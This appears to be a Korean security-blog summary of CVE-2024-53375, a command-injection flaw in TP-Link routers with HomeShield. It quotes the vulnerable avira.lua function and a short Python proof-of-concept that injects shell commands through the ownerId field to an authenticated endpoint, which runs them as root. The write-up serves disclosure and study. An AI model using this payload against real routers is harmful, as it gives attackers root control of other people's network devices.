[하루한줄] CVE-2024-53375: TP-Link 원격 코드 실행 취약점

URL

https://thottysploity.github.io/posts/cve-2024-53375/

Target

  • HomeShield 기능이 존재하는 TP-Link 기기
    • TP-Link Archer Series
    • TP-Link Deco Series
    • TP-Link Tapo Series

Explain

TP-Link 라우터 시리즈의 원격 코드 실행 취약점에 대한 세부 정보가 공개되었습니다.

취약점은 인증된 유저가 접근 가능한. /admin/smart_network?form=tmp_avira 엔드포인트에 존재합니다.

해당 엔드포인트로의 요청은 기기에 포함되어 root 권한으로 동작하는 Avira antivirus 모듈인 avira.lua 파일의 tmp_get_sites 함수에서 처리됩니다.

function AVIRA_GATHER: tmp_get_sites (app_form) 
		local data = json.decode(app_form.data)
		local res  = {}
		local result = {}
		
		debug("")
		debug("===> opcode 0x0523: tmp_get_sites")
		
		local ownerId = data.ownerId         --int
		local day = data.date                --string, today/yesterday
		local siteType = data.type           --string website type, block/visit	
		local startIndex = data.startIndex   --int
		local amount = data.amount           --int

		-- NOTE: get response data
		-- PROC_PCTL = "/proc/pctl/" 
		-- PROC_BLOCK = "/proc/block/block_insight"
		-- Init response data
		result.startIndex = startIndex 
		result.amount = amount
		result.sum = 0
		result.websiteList = {}
		if siteType == "visit" then
			if startIndex == 0 then
				os.execute("rm -f /tmp/visitList")
				os.execute("cp".. PROC_PCTL .. ownerId .. /tmp/visitList")

해당 함수에서는 유저의 HTTP 요청의 포함된 파라미터 app_form.data를 사용합니다. 파라미터 중 data.ownerId 필드는 주석에서 int 타입으로 사용한다고 명시되어 있으나, 실제 코드에서는 int 타입인지 검증하는 코드가 존재하지 않습니다.

이후 owerId와 다른 명령어를 조합해 os.execute함수를 실행하며, 유저 컨트롤이 가능한 ownerId로 인해 함수를 통한 Command Injection이 가능합니다.

ownerid_payload = '../uptime /tmp/visitList;%s;rm -rf'%args.c
    data = {'ownerId': ownerid_payload, 'date': 'today', 'type': 'visit', 'startIndex': 0, 'amount': 1}

# Sending the payload to the vulnerable endpoint
resp = client.encrypted_request('/admin/smart_network?form=tmp_avira', {'operation': 'getInsightSites', 'data': json.dumps(data)})

따라서 인증된 유저는 해당 취약점을 통해 라우터의 root 권한으로 원격 코드 실행이 가능합니다.